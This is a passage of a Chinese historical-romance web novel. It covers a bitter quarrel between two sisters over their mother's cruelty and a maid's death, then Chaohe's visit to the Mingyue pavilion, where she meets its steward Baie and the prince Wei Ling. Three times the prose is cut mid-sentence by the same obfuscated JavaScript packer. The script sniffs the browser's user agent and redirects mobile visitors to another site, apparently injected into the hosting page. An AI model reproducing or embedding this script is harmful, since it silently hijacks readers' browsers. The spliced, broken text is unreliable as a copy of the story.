“——还不是我们那个好娘？” “为逞一时之快，隆冬时节竟狠心撤去炭火，害我挨冻晕厥。”朝仪痛苦敛眸，“若非映蓝舍身相护，将我紧捂怀中以己身加热，我岂能熬过那个寒冬？” 朝容闻言，只觉脑子嗡嗡作响。似乎有块看不见的石头，从她耳边钻进去了，扑通一声，直直坠落，又悄无声息地沉了下去，一时间，她竟浑身发麻。 “……什么？”朝容神情惊惶，她犹不死心地看向朝仪，重复道，“你说什么？” 她高声诘问，听朝仪不答，又瞬间愤慨：“哼，你以为我会信吗？” “那时我看得清楚，娘分明又运来了炭火，替换你屋子里的罢了！”朝容愈想愈不平，气急之下，手指朝仪破口大骂道，“近十年了，诓人的戏码，你竟还没玩够吗？枉我当你作亲姐妹，你却两面三刀！” 她嚷嚷完，犹不满足，尚想纵情发泄一通，好掩心中惶惑。然未及朝容开口，朝仪已一声冷笑，截住了话头。 “姐姐，你当真是从一而终，天真至此。她这般装腔作势，你竟也敢信？”她讽刺朝容，见后者怔忪，又明知顾问道，“你如今斥责我，有甚么好处？” “无非是不愿良心负罪，自欺欺人罢了。” “可你也不想想。”她的嗓音陡然尖锐，像一根长针，戳进朝荣心口，将两人一并捅了个对穿，“映蓝已经死了！” “我何苦拿她骗你！” “你当她是如何死的！”朝仪双目猩红，朝朝容嘶吼，“是经年累月的旧疾，寒气落下的病根！府医是赵青言的人，我岂敢用？想悄悄派人出府请个郎中，却被她一把抓住！” “她说我违反府规，是映蓝教唆，不管不顾直接上刑，打完板子就拖出了府！” “二十大板啊……”朝和肝肠寸断，“映蓝羸弱，如何撑得住？” “——而你那个好娘，竟还敢假惺惺地泣泪，说她于心不忍，已给映蓝塞了几两银子，劝我莫伤怀。” “银子……”朝仪嗤笑，“银子有何用？” “且不提是真是假，纵确有其事，又如何？”她又哭又笑，“我的映蓝，再也回不来了。” 胞妹如此情态，朝容看在眼中，竟也有一瞬的动容。可也仅仅刹那而已。 她瞧着朝仪，终究会想起与其面容肖似的赵氏、与她将要永别的母亲。 朝容如梦初醒。 她盯着朝仪怒火中烧的脸，方才那点恍惚再也不见，唯有对其成了害死母亲推手的怒言。 “纵真如此，一个奴婢罢了，主母要打要杀，哪家不是常情？为了个婢女，也犯得着要了你亲娘的命吗？”朝容厉声斥责，重新掐紧了朝仪肩膀。 “你说得倒轻巧！”朝仪闻声冷笑，一把甩开她的手，恨声道，“若没得是你房内人，死得是含星和弄月，你也敢这般言之凿凿么？” 朝容闻言，还想反驳，但“你”了两声，终究歇了心思。她晓得，若没得是真是自个贴身丫头，保不齐比朝仪闹得还凶。 见她哑口无言，朝仪不禁冷笑：“放眼阖府，真心待我之人，也唯有映蓝。” “爹不闻不问，纵谣言甚嚣尘上，也听之任之；娘视我为灾星，将无子之缘由全归咎于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724751|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” “凭什么？”她泪如雨下，嗓音嘶哑，“只因我生不是男儿，她怀我前屡屡小产，难产后不能有孕吗？” “她小产，是害死大伯母的报应，自作孽，不可活！与我何干？”朝仪恨声道，“拿我泄气，无非是想减轻负罪感罢了！” “自我记事，她便从未假以辞色。在家动辄苛责，赴外便回府痛詈。无论我是否有失，只要她不满受气，定会拿我咎责。”朝仪面色沉郁，“若说更甚，便同上回一样，出手殴打。” “你那时也在场，可看清楚了么？不依旧未出言相劝？”朝仪讥嘲，“当下亦然。铁证如山，你却仍替她说情。” “我受苦时，你视若无睹，如今又跳出来指责我不敬父母不爱姊妹，真真是可笑！”朝仪抬手将眼泪一把抹净，“你与她一样。” 她直视朝容，一字一顿道：“都是虚情假意之徒。”朝仪讥诮勾起唇角：“到头来，也只感动自己罢了。” 见朝容哑口无言，她咬咬唇，狠下心道：“我恨你，恨爹，最恨她！” “你说我悖逆人伦。”朝仪咄咄逼人，“朝容，你自小泡在蜜罐里，可知她待你多好就多厌我，我凭什么不能恨她？” “为着一己之私，在外也对我多番指责，闹得如今满京城都晓得朝三小姐是个废物。”她声泪俱下，“我又为何不能怨她？” 见朝容闻声呆滞在原地、神情恍惚。朝仪倏地心头一苦。她惊觉自己依旧怏怏不乐，一通发泄，竟半点畅快也无。 念及此，朝仪看着朝容，倏地有些歉疚——将滔天怒火全朝其倾泻，此时此刻，她与赵氏又有什么不同？ 然一言既出驷马难追，话已至此，伤害既成，究竟多思无益。 思及此，朝仪咬了咬唇，极力忽视心中那点愧疚，继续狠下心肠，冷声开口：“你还有甚么话想说？” “趁早一并言罢。“朝仪哂然，“料今日过后，亦是分道扬镳。“ 朝仪说，她看得很清楚：“仇人相见，分外眼红，怕是再无好声交谈的机会了。” …… 乍闻赵氏真面目，顷刻间，朝容有如五雷轰顶。她唇齿讷讷，欲言又止，不知从何说起，又听得妹妹连年苦痛，说要与自己割席断义。 今日诸事，桩桩件件，无不骇人听闻。想起此生再不得与母亲相见，朝容悲痛难抑。 然既听朝仪所言，又骤知其历，究竟如桶雪水般兜头浇下，一时间，朝容冰寒刺骨，浑身发冷。 兴许冻得太厉害，亦或是从母亲无边宠溺中头回脱身，她头脑竟清明了。 朝容盯着朝仪，后者依旧神情冷硬。可看着她，朝容却一句也说不出口。 养条狗都有感情，何况是十余年间姐妹想相称？再者此间之事，受害者数不胜数，又岂是两张嘴说得清？然弑母之仇终不能忘，纵情分未尽，也起码要形同陌路。 ——她与朝仪，走到如今这个地步，终究是无颜相对。 朝容闭了闭眼，喉咙依旧滞涩。 “道不同，不相为谋。”她咽下眼泪，转身背对朝仪：“你既要就此别过，那便遂你的愿。” 朝容嗓音决绝，朝仪却听出些异样的味道。 她惊而抬头，敏锐开口：“你要作甚？” 话落，朝容却不答。 朝仪望着她的背影，终于咬咬牙，沉声说：“无论如何，时过境迁，你还是早认清时势为好，勿要——” 见朝容走远，朝仪倏地拔高了音量，警醒道：“以卵击石！” 25. 探讨 平光茶馆。 云锦蹙眉，将朝和上下打量了半响，观其面色如常，才暂捺疑虑，斟酌着，沉声开口：“你看过她了？” 朝和“嗯”了一声，道，“一见我，便跟发了疯似的，一头撞在栏杆上，说甚么都要扯我的脸。狱卒都拦不住。” 听她云淡风轻地交代事宜，三言两语就道话已说清。言虽及此，云锦却不依。 她原先胳臂撑着脸颊，倾身朝朝和探看，乍闻此言，竟板正了身形。 “又打马虎眼。”叶云锦冷不丁开口，她搁下手臂，似笑非笑道，“大致是有了，细节却一个不提。” ——彼时朝和所立，也唯有隔开左右牢房之甬道而已。那过道逼仄，两人尚且难行。赵氏在里，朝和在外；她若抻手，朝和就得后退——可退又能退到哪里去？后背所向，全是牢房；而监狱之内，又哪儿没有穷凶极恶之徒？保不齐彼时朝和身后，就猫着一个。 再者，牢狱是什么地方？苦寒之地，寻常人可谓避之而不及；朝和倒好，竟还颇有闲情逸致地与赵氏说道——听她话术，大约是说了许久，否则，赵氏怎会那样癫狂？好容易等她回来问询，后者却轻描淡写；以甚至如今，竟还不肯吭气。 诸番细想，朝和又是这副架势，若说无事发生，云锦可不敢信。 云锦心中气恼，但亦知朝和如此说，是怕她忧虑。她既明白，便是领了这份情，也不好多说，只得睨罪魁一眼，冷笑两声，道：“念你好心，就先饶你这次；但听你说辞，她果真是穷途末路了？” 朝和在傍听着，也知她心有疑虑，先前所言，不过是为了嘴瘾。如今，既云锦不予追究，以甚谈回正事，朝和来不及再想，也忙正色道： “我动身前日，朝仪曾来造访。她告诫我，让多当心朝容。大约是念及情分，旁的也没说。但赵氏与朝容亲近，必是留有后手。” 云锦闻言点头，沉声说：“你那妹妹，能教赵氏栽这么大个跟头，想来，也不会是空穴来风。“她顿了顿，又问朝和：“但朝容孤木难支，一个人，真掀得起风浪？” “我倒无妨。”朝和皱眉，“可我这里，她几次三番讨不着好，难保不会把主意打在旁人身上。” “与你相干之人，统共也没多少。她要动手，必先拿弱者开刀。”云锦叹息着，侧身看向朝和，面露担忧。 后者不置可否：”恐怕不仅如此。”她冷笑：“赵氏的胆子，可不算小。” 云锦闻言，灵性开口：“你是说……宁国公？”她的眼微微睁大，显见是早有预料。 朝和见状，莞尔。她看着云锦，也轻声说：“有其母必有其女。胃口，是填不满的，只会越来越大。” “走一步看一步罢。”朝和怅然，转眸看云锦紧绷，她有心缓和气氛，遂一展唇角，先倾身歪头，“安啦，你约我，不会只为了洽谈吧？” 见云锦闻言果真回眸投来目光，朝和弯唇，会心一笑道：“听说，城南开了家书斋，叫什么……明月阁的，不如，去瞧瞧？” 她兴冲冲的，云锦却不慌不忙。 “依我看，你分明是醉翁之意不在酒。”云锦对她来回打量，“凑热闹是假，馋嘴是真罢。” “这你也知晓？”朝和惊诧，“怎么，莫非这楼，名气竟真如此大？前日珠连说起，我还不信呢。” 她嗓音轻快，忙去扒拉云锦衣袖：“你既清楚，也无需我多说。” “那你就给我个准话。“朝和坚持道。她眼巴巴地看着云锦，尾音上扬：”你究竟去不去嘛。” “成。”云锦利落点头，爽快道，临出门了还不忘揶揄，“我倒要瞧瞧，那明月阁的凤梨酥有何本事，竟能勾你勾得这般厉害。” “前些年还说——非平光茶馆不可，如今竟变了卦了。” 朝和瞪她一眼：“还在人地盘上，你也真敢说。当心教哪个听见了，下回一进门，就先把你打出去。” “要打，也是先打你。”云锦轻推了她一把，笑，“罢了罢了，我不招你便是。如今倒好，白白地，还连累上我了。” 见朝和弯唇“哼”了一声，也不答，云锦笑了笑，又道，“你可知，这明月阁的来历？” 她卖关子，当即勾住了朝和，只见后者饶有兴致地抬头：“来历？一个书斋，难不成还有前身不成？可我怎么听说，这楼是新起的？” “不错，是个新楼。”云锦莞尔，“可有意思便有意思在这儿。” “原先，可不是个书斋，是个糕点铺子。生意还极好。” 朝和惊讶：“既然经营有方，又何必出资重建？怎么，换老板了？” 她一句无心调笑，却正说在点子上，云锦听罢，深以为然：“可不是。老板本不愿出售，怎奈何对面也不是个缺钱的主儿，重金一砸，便换了个当家。” “这倒也奇了。”朝和附和，而后又问道，“他不做糕点，改行卖书，竟也能这么火？” “厨子全留下了。”叶云锦颔首，示意朝和转眸，“人家都这么说。可我倒觉得，是背后有人。” “你瞧，那掌柜的，就不像是来正经来做生意的。”云锦偏过头，轻声说。 朝和循眼一看，顿觉信是如此。 那人神情淡然，冠帽整齐，发髻也一丝不乱，暗红衣袍，却是过了时的绸缎，正襟危坐，明晃晃地一个面无表情的老古板。 朝和笑，心说这样招人，倒真有卫翎的风范。有燕王撑腰，也无怪此处常有人来。 她腹诽半响，云锦已回眸催促。朝和闻言，应声侧身，又掏出块令牌来。粗看一眼，其上“明月”二字，也熠熠生辉。朝和敛容，望掌柜一眼，随即，把手一攥，也快步跟上来。 “此处明月阁是也。二位小姐，有何见教？”掌柜文邹邹的，淡声说。 见二人过来，他霎时仰头，却依旧像张被翻了不知道多少次的书页，有股有气无力的味道。 大抵是来往宾客络绎不绝。朝和怜悯地想，转而又慨叹道——心说：当真是恪尽职守。她正思量，转头，云锦又问雅间。听她说完，朝和才道：“我拿这个，见你上头一面，行不行？”话落，便将令牌递了去。 那掌柜疲乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739346|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，接了手，却直起腰，双目骇圆。 他小心翼翼地，瞧朝和一眼，便忙低下头，仔细察看，不过半响，便将明月令双手奉回，又吆喝一声，随手招了个跑堂叮嘱。他两人嘀咕几声，掌柜的便转头，朝朝和揖了一礼，恭恭敬敬道：“小姐请。您尽可随意。” “当家的，随时在顶层等您。” 看他欠身相迎，朝和尚未表态，云锦已大吃一惊。 她美目流盼，在二人间交移，半响，才明了此中事。只见她咬牙切齿，朝朝和微笑，低声说：“你来是为他事，何故不告我？” “事急从心，我也怕横生变故，你且听我解释。”朝和小声辩解。 “罢了吧。”云锦冷笑，“瞧此处大有来头，你既认识，还要骗我；上楼约谈，不得几个时辰？” “你且留着，我改日看你，待会，我吃完了就走。”她瞪朝和一眼，指着其鼻尖道，“全记你账上。” 她皮笑肉不笑，朝和却心宽许多，知云锦并未生气，遂大着胆子往前凑。 朝和贴近云锦，道：“好姐姐，你不计前嫌，我万分感激，不说请客，便是双倍都成。” 云锦闻言，却并不动容，冷声说：“无事献殷勤，非奸即盗。”她睨朝和一眼，道：“闲话少说，你究竟想做甚？” “不敢让你难办。”朝和嘀嘀咕咕，“还求你多陪我会儿。” “不多，一刻就好。”朝和竖起一根手指，哀求。 她眼巴巴地看着自己，云锦也不忍多说，但轻推了她一下，低声威胁：“等回去了，不说清楚，我绝不饶你。” 朝和高兴应声，忙拽上云锦，当即就要往三楼去。 掌柜见状，一个闪身过来，不卑不亢道：“小姐，当家的说了，只许您一人上去。” “哦。”朝和点头，“原来如此。但赠我令牌的那个，可没说有这般道理。” 她似笑非笑的，与掌柜面面相觑。相顾无言之际，一小二倏地窜来，念念叨叨地，与掌柜报了几句，后者紧蹙的眉头，竟恍然舒展了。 只见他低头，说了句自便的话，便一本正经地又回至门前去了，颇有种撒手不管的架势。 云锦瞧在眼里，心中惊疑，她扯了扯朝和：“你自个洽谈，我可不去。” 朝和却一副若有所思的样子，须臾，她弯眸一笑，安慰：“你放心，瞧完了掌柜，料当家的也严肃。你出来游玩，岂能陪我坐冷板凳？不过试试他罢了。” “试试？”云锦不明所以，诧异道。 朝和点头：“嗯。瞧他是否名实相副。” “但既然规矩都能改，此令，果真要紧。”她看向掌柜，目光幽深，心中五味杂陈。 区区一块令牌，权柄竟这般大。 卫翎，果如其言，当真没有骗她。 朝和轻声喟叹，她闭了闭眼，攥紧了令牌，心想： “卫翎以诚待我，我却暗地里试探。这样称不上光明正大的事，分明是耍小手段。若令卫翎知晓，当真不会生气么？” 朝和默然半响，心下蓦然愧疚。 26. 白垩 明月阁。 朝和轻叩门扉，得应推门而入。 她随意抬眼，尚来不及环顾四周，哪知房间里头，竟先冒出个壮硕的汉子。他身形高大，走路时，却不声不响。见了朝和，也不多余问话，只管绷着脸，径直道：“你可有令牌？” 朝和点点头，随即摊开掌心，给那汉子看了一眼。谁料他低眉一瞧，竟露出个傻乎乎的笑。 朝和尚在愣怔，大汉却已单膝跪下。只见他就地拱手，语气笃定道：“参加主子！” 这一声大喊，中气十足，登时将朝和吓了一跳。 “主子？哪位？我么？”她迷茫顾盼，心说。又见左右无人，才确信大汉所称的确是她，遂定定神，又朝那汉子望去。见他“”五官端正，觉着是个讲道理的面相，才斟酌片刻，小心说：“这位好汉。” 朝和犹疑开口，试探他：“你莫不是……认错人了？” 望着虎背熊腰、仿佛一拳就能打死她的大汉，朝和的眼皮，不禁又跳了跳。 她一语方罢，大汉还未回答，那厢侧门里，竟又传出声响。来者一拍折扇，很懊恼似的，嘴上却仍在笑。只听他嗔怪一声，道：“三青，瞧你，又吓着人了。” 朝和定睛一瞧，原是个白衣公子。那青年拢扇，拿它指了大汉半响，才从容转身，朝朝和作揖道：“在下白垩，明月阁管事。有失远迎，还望姑娘勿怪。”那青年微笑着，抬头前，还往朝和处睃了一眼，瞧了瞧她手心，但转瞬就移开目光。 见白垩彬彬有礼，朝和遂也一笑，边回他客套话，顺带把人一瞧。端详过后，不由自主地，目光竟又回至他脸上。 这人一双风流桃花眼，深褐含情眸，眼尾一颗泪痣，正柔和浅笑。只见他眉目微挑，端看，是副勾魂摄魄的好相貌。 朝和望他褐发，见发尾卷而翘，遂恍然一笑。原是个外邦血统。她心想。 正寒暄时，白垩却将话锋一扯，令所谈回至三青身上，道：“我这兄弟，打小就死心眼，更是个脸盲的孩童心性，不通世事的。阁主吩咐，一向是无有不从。” 他看着朝和，又继续说：“见明月令，如见阁主本人，三青记得阁主前言，但又不懂其意，干脆将你二人等同视之，所以姑娘一进来，便叫了声阁主。” 原来如此。朝和心生怜悯。她侧眸望了眼三青。看着他与常人无异的样貌，不禁又无声地叹了口气。 她眼含同情，但此时此刻，白垩后头的话，也不能不令她不在意。 他说，见此令如见本人。朝和缓缓心说。 可这样要紧的东西，卫翎竟能眼都不眨，说给就给了她？ 念及此，朝和思绪纷杂，心神也有些恍惚。她下意识攥紧了令牌，却无端觉得烫手。 而那厢白垩说着，也不忘观察朝和。但任凭他左看右看，朝和就是不动声色。见此情形，他手中的扇子，竟顿了一下。 倒真是个耐得住气的。白垩心想。 他抿抿唇，不过须臾，神色，便又恢复如常。只见他勾起唇角，笑吟吟道：“但姑娘初来乍到，就受此惊吓，归因于人，究竟是白某看管不利之责，疏忽大意之故。姑娘，您大人有大量，莫跟三青计较。” 看白垩拱手，又招来三青致歉，朝和却摇头：“无妨。我此回不请自来，本就招了不少麻烦，所谓客随主便，若说计较，也该是我请罪才对。” 白垩闻言失笑，朗声道：“此处既是明月阁，姑娘又携明月令，横竖相干，也差不多是一家，哪有论罪一说？”白垩莞尔，伸手请朝和落座，“姑娘请。” 白垩看着朝和，也知是来议事，正思忖如何开口，他沉吟须臾，余光随意一瞥，却正好瞧见三青在傍。 看三青紧蹙眉头，默不作响，许久，都容色未变，依旧端肃着面庞。看架势，估计是在苦思冥想。 白垩面露无奈，心中暗道：“回回如此，朝他人介绍，完事了都要细想。” 他如此心说，也知不能放任三青不管。且不说片刻功夫，他想不出个所以然；再者，议事间，三青却直杵此处，不免有些煞风景。白垩思忖须臾，道：“三青，你若无聊，不如去给这位姑娘寻些点心，记住，要最好的那种。” 三青闻声转头，眉心松快，却面露疑惑。见他依旧驻足。白垩抿抿唇，略感无语，道：“人家好容易来一趟，总不能光坐冷板凳吧？更何况是阁主的贵客，那便更不能怠慢了。” 白垩挥舞着扇子催促，三青才恍然扭头，倏地，拔腿就要走。谁料没走几步，及他行至白垩身前时，却又被握住了臂膀。 三青下意识地想甩开，白垩却不放。他抓得紧，又是一副不达目的誓不罢休的执拗神情，三青挣脱不了，只好俯身听他讲话。 只见白垩嘀嘀咕咕，对三青说了些什么，又像怕朝和受冷落似的，回眸瞥了她一眼，弯唇抖出个笑，便又转过头叮嘱：“叫金雕去，它腿脚快。” “要求真多。”三青瞪白垩一眼，抱怨道。 他嘟嘟囔囔地起身，临走时，又像报复白垩似的，将后者的手狠狠甩开，才悄无声息地离去。他倒是走了，还昂首挺胸，白垩却悻悻留在原地。只见他尴尬回眸，朝朝和解释道：“他就这样儿。”白垩苦笑：“小孩儿心性，素日也不得体，姑娘切莫在意。” “无妨。”朝和觉得好玩，遂笑吟吟道：“他既是性情中人，抱朴含真自然理所应当。何来介意？” 白垩闻言，愣了一瞬，随即将扇一抖，又挑着眼，扬唇一笑：“小姐，与我印象之中的贵女，可大有不同。” 他轻声喟叹，朝和听在耳中，心头却警铃大作。 白垩底细，朝和尚未摸清；他方才所言，又引导意味太重。朝和思来想去，只得谨慎开口：“白管事何出此言？” 见她面上依旧不显山不露水，白垩眸色一沉，却面不改色，依旧笑眯眯道：“小姐又何出此言？” “莫非是白某所言有误？还是措辞不当，不慎冒犯了小姐？”白垩敛眸，故作惭愧道，“无论如何，白某在此，向小姐告罪。” 见他低眉拱手，朝和却暗自心说：“白垩这话说得犹疑。看他摇摆不定，莫非当真不知我身份？罢了，先试试误导。” 如此思定，朝和摇摇头，遂道：“白管事多虑了。你我相谈甚欢，何来冒犯之说？但贵女身份，我实在担当不起。” 看白垩闻言讶异，朝和不禁弯了下唇角，又哂笑道：“我哪算贵女？”她说：“不过是平头百姓家里的，但挑了身好衣裳，得以装点罢了。” 白垩蹙眉，不置可否。“小姐钟鸣鼎食，何必自谦？“他意有所指，笑意不达眼底，“这蜀锦，可不是谁都能穿。” 他话落未满而有所保留，朝和闻言，却只当不知晓，但顺势附和道：“白管事所言不假。然我之所以有此一问，只因前些日子闲来无事，教绣娘新作了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741334|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个花样，衣裳制好，拿给身边人一瞧，但看得人无一例外，竟都认不得是蜀锦。除了——” 朝和眼波流转，轻笑道：“白管事。” “白管事眼力颇佳，果真不同凡响。” 她笑盈盈地将人一顿夸，白垩却微微皱眉，想不通她葫芦里卖得是什么药。 朝和却恍若未觉，道：“如今细想，这纹样，的确是繁复非常。弯弯绕绕的一通，却喧宾夺主，以致蜀锦本身之光华都被盖住，教看者不识真面目。 如此画蛇添足，若无内行人欣赏，只怕这华贵蜀锦，今日便要恨终。好在老天有眼，降临赐福，终究有人识货哪。” 她揶揄话落，缓缓转眸，朝白垩扬唇浅笑：“白管事，您说是不是？” 朝和含沙射影地一通暗示，白垩终于明了大概。 她言之所向，分明是不满试探，要他开门见山。 他二人彼此一无所知，两相对峙之际，朝和却不愿再周旋。白垩手边顿顿，不禁思忖：她先前出言询问，必也是试探。但如今姿态从容，又隐晦提及直截了当之语，莫非是所问之事，已有眉目了？ 白垩愈想愈不对。 几番思绪，纵他心领神会，内里却惘然：他尚不清朝和身份，对面却已至目的。他虽有心继续探听，但观此情形，恐怕朝和，绝不肯依。 白垩微微蹙眉，腹诽：罢了，贵客要求，他不好违背，何况单刀直入，总比雾里看花来得痛快。思及此，白垩回神，只得微微一笑，朝她道：“不过是路边听人提及技巧，而后死记硬背罢了。论行家，白某不敢忝居其列。但姑娘所言，的确很有道理。不知还有无见地？白某洗耳恭听。” 见他斟酌片刻，却谨慎将问话抛回，朝和沉吟半响，觉得一言既出驷马难追，若此刻还吞吞吐吐不敢言，实在有失风度。念及此，朝和遂坦言：“白管事说笑了。偶有所感罢了，闲人一个，有什么见地？你既出此言，莫非有事不解？” 白垩闻言，看朝和一眼，斟酌着，倏然弯唇一笑道：“倒也没什么，只是与姑娘相谈甚欢，却未通姓名，着实可惜哪。” 见他沉吟半响却猛然坦言，朝和稍有些怔愣，而后很快回神，道：“我姓朝，名和，初至明月阁，还望管事关照。”她笑吟吟的，暗地却悄悄腹诽：“兜兜转转一大圈，竟只为了个身份？心思如此多变爱折腾，还真是个怪人。” 与朝和不同，白垩闻言，面上虽不显山不露水，语气却有些惊奇：“姑娘莫非是宁国公府的小姐？家中行二的？” 见朝和应答颔首，白垩心中暗道：“家大业大，还说不是贵族。含糊其辞，隐瞒身份，无非是想弄清我通不通晓她身份，但知道如何，不知道又如何？难不成，与她造访明月阁的缘由相关？” 他百思不得其解，却也只觉朝和行事难料，忖度片刻，又面向朝和，道：“小姐名头之盛，连远在城南的在下都得以知晓，如此声名，想必有过人之处。既如此，阁主肯让出明月令，倒也不足为奇。”卫翎悠哉悠哉地扇扇子，语声轻快，状似不经意间开口，实际又在引而不发。 朝和心如明镜，也知其他说此话缘由，她刚想张口，谦虚客套两句，却听有人来报：“白大人！”那小厮叫：“主子到了！” “到了？这么快？”来者话未毕，白垩已面露讶异。只听他忙道：“至哪里了？” “回大人。”小厮躬身回答，“已至楼下了。” 27. 与他 主子？朝和心内诧异。 正想时，门前一声“吱呀”，原是有个青年，在推门而入。 那男子身披青衣，头戴幂篱，进门时，略低着眉眼，容貌看不大清。 但见他倾身扶住帽檐，信手将白纱撩起，举手投足间，温文尔雅，无不如玉山倾颓。 这男子睫毛微颤，弧度优美，抬首时，竟露出双亮如明月般的眼。 他嘴角轻扬，摘下幂篱后，朝朝和先弯了一个笑。 “朝二小姐，幸会。”卫翎轻轻颔首，看向朝和。他眸光潋滟，宛如夜晚荡在水波上的月牙儿，泠泠地跃着浮光。 朝和闻声点头，默默低眉时，也回他一礼，手中的帕子，却被悄悄攥紧。 她猫儿一般的眼睛微眯着，心里却盛着玻璃珠似的，七上八下，骨碌碌地到处滚，仿佛有爪子在挠。 卫翎怎么来了？朝和抿唇暗道。 ——她来，是为探他底细，可没打算见着他人。 自打上回桃林偶遇归家，朝和便一直心绪不宁。于她而言，当下可并非相见的好时候。但王子皇孙在此，再者迎面撞上，也没什么避而不见的由头； 既如此，不如将先前预想之事提上日程，也省得日后生变。 念及此，朝和定了定神。 但心绪稍平之际，念及倏然而至的卫翎，朝和又有些狐疑。 她琢磨了一会，推移着记忆，却倏然想起方才白垩与三青嘀咕的情景—— “‘金雕腿脚快’。”朝和腹诽，“怪不得要寻个飞毛腿，原是打报告去了。” 她这厢心内讥嘲，白垩在旁却浑然不晓，他忙着以扇掩面，饶有兴致地看朝和的热闹。 白垩目光戏谑，眼波游移，纵然旁观半响，却依旧内心清明。 他见这两人各有心事却依旧循规蹈矩地行礼，对视时又互相看不出端倪，再念及与卫翎相关的“襄王有梦，神女无心”之语，不觉间，眉心竟跳了跳。 只见他唰一下合上扇子，缓步走至二人跟前，朝卫翎摇头晃脑地叹气：“唉，朝二小姐也就罢了，怎么你来了还这样拘谨？” 他边说边倒茶，状似随意道：“不过，你二人今日，倒颇有默契。” 见朝和诧异转眸，白垩又道：“你来便罢了，朝二小姐来一趟，可不容易。” “不仅同时莅临，还穿着同色衣裳，简直是巧得不能再巧。”白垩目光戏谑，先后瞥朝、卫两人一眼，便喟叹着摇摇头，将茶水一饮而尽。 朝和闻言惊愕，暗道：“偌大一个屋子，统共也就三人。他这话说给谁听，自然不言而喻，但此时此刻，谈这个又是何意？将我与卫翎凑在一起，于他而言，莫非有好处不成？” “万一惹恼了卫翎，被治个不敬的罪名，到那个时候，白垩可就满意了。”朝和讥讽心说。她如此思量，可谓算提心吊胆地怄气，但见她悄悄抬眸，瞥了卫翎一眼。不料刹那，竟与他四目相对。 猝不及防地一对视，朝和先愣在原地。 只因卫翎眼神定定，幽幽地看着朝和，像个深陷在云雾的月亮。他眸子黑漆漆的，却倏然闪过一个身影。朝和惊讶之际，细看之时，竟觉得他那眼底，变得如碾碎了光似的亮堂。 她这般觉察着，也看清了那影子的面目。 是一张朝和再熟悉不过的面孔——不错，正是她的面孔。 看着那张脸，刹那间，朝和艰难地吞了吞口水。 她一定是看错了。朝和想，卫翎与她之间，可还有好一段距离。这么远，她如何能看清？ 大约是恍惚之下的错觉罢。朝和如此希冀着，她移开目光，却依旧心乱如麻。 见朝和赧然，卫翎又眼眸晦暗，白垩在傍端详，忽然古怪一笑。 只听他倏然开口，朝朝和道：“对了，朝二小姐。” 白垩猛一收扇子，微微蹙眉，作深思熟虑状：“白某似乎记得，你说有话要与阁主讲。” 他骤然开口，当即将还没回魂儿的朝和吓了好大一跳。 她神情怔忪，却也听进了白垩的话。 有话要与卫翎说？朝和心内重复，转念又想：不错，她是有这个意图，可白垩怎么知晓？她可从未与他开过这个口！ 一番思忖，朝和彻底回神。她随即瞥了一眼白垩，见对方难得正色，不禁心下狐疑。 她当即准备开口。 然刹那间，白垩却抢先道：“正好，我有事要出门一趟。” “机不可失。”白垩怅然拱手，“朝二小姐，此事迫在眉睫，白某只能失礼，先走一步。”他冲朝和点头，随即转身，又朝卫翎道，“客人，就麻烦阁主招待了。” 他一副郑重其事的样子，眨眼的功夫，便拖着刚放下托盘的三青离开，临走时，还不忘再次致礼，轻轻把门带上。 朝和目送他遁走，只觉莫名奇妙，可待她回眸一瞧，却见卫翎竟不知何时起，已坐在了白垩刚腾开的位上。不偏不倚，正对朝和脸庞。 朝和不着痕迹地抽了抽嘴角，再次四目相对，仍是她先错开目光。 她低眉瞥了眼膝盖，垂眸看不清神色，随即抿抿唇，依旧默不作声。 见她拘谨敛容，卫翎沉吟半响，道：“这是明月阁最有名的糕点，你可要尝尝？” 他话落，看朝和手指微动，当即眉眼舒展，道：“你知道的，明月阁的前身是个点心铺，老板白手起家，靠得便是这手凤梨酥。想来，其中必有秘方在，否则，生意不至于经久不衰，年年兴隆。” 卫翎看着朝和，见她全神贯注，不由浅浅弯了弯唇角，随即垂眸，又望向凤梨酥，说：“这里的点心，我吃过，很甜，能尝出与别家滋味不同。但个中细节，却仍辨不清楚。” 朝和闻言抬眸，不禁讶异开口：“怎会？楼已被殿下买下，我看如今阁里，也是茶点生意照旧。那张秘方，难道没有被包含其中？”她边说，边忍不住睃了眼凤梨酥。 卫翎摇摇头，无奈苦笑：“老板不肯卖，倒把人给我留下了。” “大约也是怕失去安身立命的根本罢。”朝和轻声说。她看着卫翎，又道：“殿下留人，想必也费了好大功夫罢？” “那倒没有。”卫翎神情淡淡，“他是自愿留下的。” “为什么？”朝和诧异。 何必留下来呢？她想，凭本领，他分明会有更好的去处。 